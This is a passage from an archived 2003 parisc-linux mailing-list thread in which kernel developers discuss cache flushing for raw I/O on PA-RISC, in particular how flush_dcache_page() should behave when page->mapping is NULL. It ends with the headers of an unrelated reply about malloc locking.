	<20030926042029.1cdd77e9.davem@redhat.com>
	<1064577420.4227.0.camel@sisko.scot.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622808 31557 80.91.229.3 (22 Nov 2014 02:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:08 +0000 (UTC)
Cc: willy@debian.org, santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org, sct@redhat.com
To: "Stephen C. Tweedie" <sct@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 06:02:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 897C4483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 06:02:08 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id EAA19221;
	Fri, 26 Sep 2003 04:48:41 -0700
In-Reply-To: <1064577420.4227.0.camel@sisko.scot.redhat.com>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19612

On 26 Sep 2003 12:57:01 +0100
"Stephen C. Tweedie" <sct@redhat.com> wrote:

> On Fri, 2003-09-26 at 12:20, David S. Miller wrote:
> 
> > Are you sure?  Isn't raw I/O allowed on user buffers backed by
> > some kind of file based mmap()?
> 
> Yes, it is.

So there we go, that's how page can be a page cache page Matthew.


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Santosh Abraham" <santosha@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 17:42:29 +0530
Lines: 41
Approved: news@gmane.org
Message-ID: <001b01c38427$76328840$e5624c0f@india.hp.com>
References: <20030926033458.68dbb768.davem@redhat.com>
Reply-To: <santosh.abraham@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622809 31561 80.91.229.3 (22 Nov 2014 02:20:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:09 +0000 (UTC)
Cc: <willy@debian.org>, <randolph@tausq.org>,
	<parisc-linux@lists.parisc-linux.org>, <sct@redhat.com>
To: "'David S. Miller'" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 06:12:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30005483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 06:12:37 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel12.hp.com (Postfix) with ESMTP
	id 60CF41C017D3; Fri, 26 Sep 2003 05:12:32 -0700 (PDT)
Original-Received: from eb98229 (eb98229.india.hp.com [15.76.98.229])
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with SMTP id RAA23648;
	Fri, 26 Sep 2003 17:51:18 +0530 (IST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <20030926033458.68dbb768.davem@redhat.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19613

Apologies for 1) & 2). I guess ignorance is not bliss or excusable,
 is it :)

As for 3) i agree that there are issues, but what are the alternatives
 we have ?

Assuming that you agree that we need to call flush_cache_range ( ) to fix
the issue.

1) Call flush_cache_range () directly before the call to 
flush_dcache_page ().  But this could impact other architectures
too, right ?

2) Modify flush_dcache_page () in asm-parisc/pgalloc.h to handle
this.  But this is not easy cause we do not pass the user VA in
flush_dcache_page ().  


-----Original Message-----
From: David S. Miller [mailto:davem@redhat.com]
Sent: Friday, September 26, 2003 4:05 PM
To: santosh.abraham@hp.com
Cc: santosha@india.hp.com; willy@debian.org; randolph@tausq.org;
parisc-linux@lists.parisc-linux.org; sct@redhat.com
Subject: Re: [parisc-linux] Fwd: Problems with raw interface.



1) Please use unified diffs when you post patches.

2) If you insist on using Microsoft Outlook when posting patches
   at least configure it properly when doing so.  By default it is
   going to turn tabs into spaces and that makes the patch corrupt
   and unusable by anyone.

3) Your patch is unacceptable because it is taking advantage
   of internal implementation details of flush_dcache_page()
   on parisc64 that might not (and in fact, is not) be true
   on other platforms.



From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 13:20:23 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030926122023.GH24824@parcelfarce.linux.theplanet.co.uk>
References: <20030925105005.GX16872@tausq.org> <000801c38356$dea5cda0$e5624c0f@india.hp.com> <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk> <20030925180848.2763911b.davem@redhat.com> <20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk> <20030926042029.1cdd77e9.davem@redhat.com> <1064577420.4227.0.camel@sisko.scot.redhat.com> <20030926044841.29ecb672.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622809 31563 80.91.229.3 (22 Nov 2014 02:20:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:09 +0000 (UTC)
Cc: "Stephen C. Tweedie" <sct@redhat.com>, willy@debian.org,
	santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 06:20:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C95F3483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 06:20:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A2raB-00079l-Qt; Fri, 26 Sep 2003 13:20:23 +0100
Content-Disposition: inline
In-Reply-To: <20030926044841.29ecb672.davem@redhat.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19614

On Fri, Sep 26, 2003 at 04:48:41AM -0700, David S. Miller wrote:
> On 26 Sep 2003 12:57:01 +0100
> "Stephen C. Tweedie" <sct@redhat.com> wrote:
> 
> > On Fri, 2003-09-26 at 12:20, David S. Miller wrote:
> > 
> > > Are you sure?  Isn't raw I/O allowed on user buffers backed by
> > > some kind of file based mmap()?
> > 
> > Yes, it is.
> 
> So there we go, that's how page can be a page cache page Matthew.

OK, so it *might* be a page cache page, but isn't necessarily.  So we
need to call *both* flush_dcache_page() and flush_cache_range(), right?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 05:38:05 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030926053805.63bda07a.davem@redhat.com>
References: <20030925105005.GX16872@tausq.org>
	<000801c38356$dea5cda0$e5624c0f@india.hp.com>
	<20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
	<20030925180848.2763911b.davem@redhat.com>
	<20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
	<20030926042029.1cdd77e9.davem@redhat.com>
	<1064577420.4227.0.camel@sisko.scot.redhat.com>
	<20030926044841.29ecb672.davem@redhat.com>
	<20030926122023.GH24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622809 31564 80.91.229.3 (22 Nov 2014 02:20:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:09 +0000 (UTC)
Cc: sct@redhat.com, willy@debian.org, santosh.abraham@hp.com,
	randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 06:51:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FDED483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 06:51:32 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id FAA19445;
	Fri, 26 Sep 2003 05:38:05 -0700
In-Reply-To: <20030926122023.GH24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19615

On Fri, 26 Sep 2003 13:20:23 +0100
Matthew Wilcox <willy@debian.org> wrote:

> OK, so it *might* be a page cache page, but isn't necessarily.  So we
> need to call *both* flush_dcache_page() and flush_cache_range(), right?

I'm starting to think that flush_dcache_page() needs to take care
of this.

Santosh remarked that flush_dcache_page() doesn't get the user virtual
address, but that is not needed.  From the page you can walk the mmap()s
and flush the mapping in each address space it is contained within.

And you absolutely must flush each address space, not just the one currently
doing the raw I/O request.

In that light, doing a flush_cache_range() with a specific VMA (2.6.x)
or MM (2.4.x) is totally illogical here.


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SANTOSH ABRAHAM <santosha@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 18:41:41 +0530 (IST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200309261311.SAA27414@redsea.india.hp.com>
References: <20030926053805.63bda07a.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622810 31568 80.91.229.3 (22 Nov 2014 02:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:10 +0000 (UTC)
Cc: willy@debian.org, sct@redhat.com, santosh.abraham@hp.com,
	randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: davem@redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 07:03:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFE00483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 07:03:04 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel12.hp.com (Postfix) with ESMTP
	id 1B47D1C01ACD; Fri, 26 Sep 2003 06:03:00 -0700 (PDT)
Original-Received: (from santosha@localhost)
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) id SAA27414;
	Fri, 26 Sep 2003 18:41:41 +0530 (IST)
In-Reply-To: <20030926053805.63bda07a.davem@redhat.com> from "David S. Miller" at Sep "26," 2003 "05:38:05" am
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19616

> On Fri, 26 Sep 2003 13:20:23 +0100
> Matthew Wilcox <willy@debian.org> wrote:
> 
> > OK, so it *might* be a page cache page, but isn't necessarily.  So we
> > need to call *both* flush_dcache_page() and flush_cache_range(), right?
> 
> I'm starting to think that flush_dcache_page() needs to take care
> of this.
> 
> Santosh remarked that flush_dcache_page() doesn't get the user virtual
> address, but that is not needed.  From the page you can walk the mmap()s
> and flush the mapping in each address space it is contained within.

Are you talking about the page->mapping->{i_mmap_shared, i_mmap} lists ?
If so, this is already handled in __flush_dcache_page ().

The problem in this case is page->mapping is NULL. 

> 
> And you absolutely must flush each address space, not just the one currently
> doing the raw I/O request.
> 
> In that light, doing a flush_cache_range() with a specific VMA (2.6.x)
> or MM (2.4.x) is totally illogical here.
> 



From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 05:56:52 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20030926055652.32ddbbc2.davem@redhat.com>
References: <20030926053805.63bda07a.davem@redhat.com>
	<200309261311.SAA27414@redsea.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622810 31573 80.91.229.3 (22 Nov 2014 02:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:10 +0000 (UTC)
Cc: willy@debian.org, sct@redhat.com, santosh.abraham@hp.com,
	randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: SANTOSH ABRAHAM <santosha@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 07:14:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C443483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 07:14:19 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id FAA19559;
	Fri, 26 Sep 2003 05:56:53 -0700
In-Reply-To: <200309261311.SAA27414@redsea.india.hp.com>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19617

On Fri, 26 Sep 2003 18:41:41 +0530 (IST)
SANTOSH ABRAHAM <santosha@india.hp.com> wrote:

> The problem in this case is page->mapping is NULL. 

When page->mapping is NULL, flush_dcache_page() should purge the page
(by physical addres) from it's caches.  This is what sparc64 does.

Flushing just the current address space is incorrect, so don't get the
fancy idea to pass the 'mm' and 'va' into flush_dcache_page().


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 14:29:01 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk>
References: <20030926053805.63bda07a.davem@redhat.com> <200309261311.SAA27414@redsea.india.hp.com> <20030926055652.32ddbbc2.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622810 31576 80.91.229.3 (22 Nov 2014 02:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:10 +0000 (UTC)
Cc: SANTOSH ABRAHAM <santosha@india.hp.com>, willy@debian.org,
	sct@redhat.com, santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 07:29:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E33FC483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 07:29:02 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A2sec-0000cV-09; Fri, 26 Sep 2003 14:29:02 +0100
Content-Disposition: inline
In-Reply-To: <20030926055652.32ddbbc2.davem@redhat.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19618

On Fri, Sep 26, 2003 at 05:56:52AM -0700, David S. Miller wrote:
> On Fri, 26 Sep 2003 18:41:41 +0530 (IST)
> SANTOSH ABRAHAM <santosha@india.hp.com> wrote:
> 
> > The problem in this case is page->mapping is NULL. 
> 
> When page->mapping is NULL, flush_dcache_page() should purge the page
> (by physical addres) from it's caches.  This is what sparc64 does.

But you can't do that on PA-RISC.  You can only purge virtual addresses.

> Flushing just the current address space is incorrect, so don't get the
> fancy idea to pass the 'mm' and 'va' into flush_dcache_page().

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 06:21:43 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20030926062143.20d85a72.davem@redhat.com>
References: <20030926053805.63bda07a.davem@redhat.com>
	<200309261311.SAA27414@redsea.india.hp.com>
	<20030926055652.32ddbbc2.davem@redhat.com>
	<20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622811 31582 80.91.229.3 (22 Nov 2014 02:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:11 +0000 (UTC)
Cc: santosha@india.hp.com, willy@debian.org, sct@redhat.com,
	santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 07:35:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B242483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 07:35:09 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id GAA19705;
	Fri, 26 Sep 2003 06:21:43 -0700
In-Reply-To: <20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19619

On Fri, 26 Sep 2003 14:29:01 +0100
Matthew Wilcox <willy@debian.org> wrote:

> On Fri, Sep 26, 2003 at 05:56:52AM -0700, David S. Miller wrote:
> > When page->mapping is NULL, flush_dcache_page() should purge the page
> > (by physical addres) from it's caches.  This is what sparc64 does.
> 
> But you can't do that on PA-RISC.  You can only purge virtual addresses.

Then for page->mapping == NULL your flush_dcache_page() is not doing
what it is supposed to, and you can expect problems extending further
than this raw I/O case.

You have to find a way to walk all the address spaces to figure out
where the page is mapped.

If you just put a flush_cache_range() there, you may get your current
test working but that code is wrong.  It will be wrong in any case
where the page is mapped to anywhere other then this mapping in
this address space.

The real problem for you guys is that in 2.4.x there is no easy way to
go from a page to it's mapping regardless of what kind of page it is.
That's what you need to rectify somehow.



From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: wmglo@dent.med.uni-muenchen.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Where to put arch-dependant locking in malloc/thread-m.h
Date: 26 Sep 2003 13:39:54 -0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20030926133954.12328.qmail__42028.8205067211$1416622811$gmane$org@md.dent.med.uni-muenchen.de>
References: <20030925211509.GY14406@systemhalted>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622811 31586 80.91.229.3 (22 Nov 2014 02:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:11 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 07:40:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from md.dent.med.uni-muenchen.de (md.dent.med.uni-muenchen.de [138.245.179.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 89565483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 07:40:04 -0600 (MDT)
Original-Received: (qmail 12329 invoked by uid 211); 26 Sep 2003 13:39:54 -0000
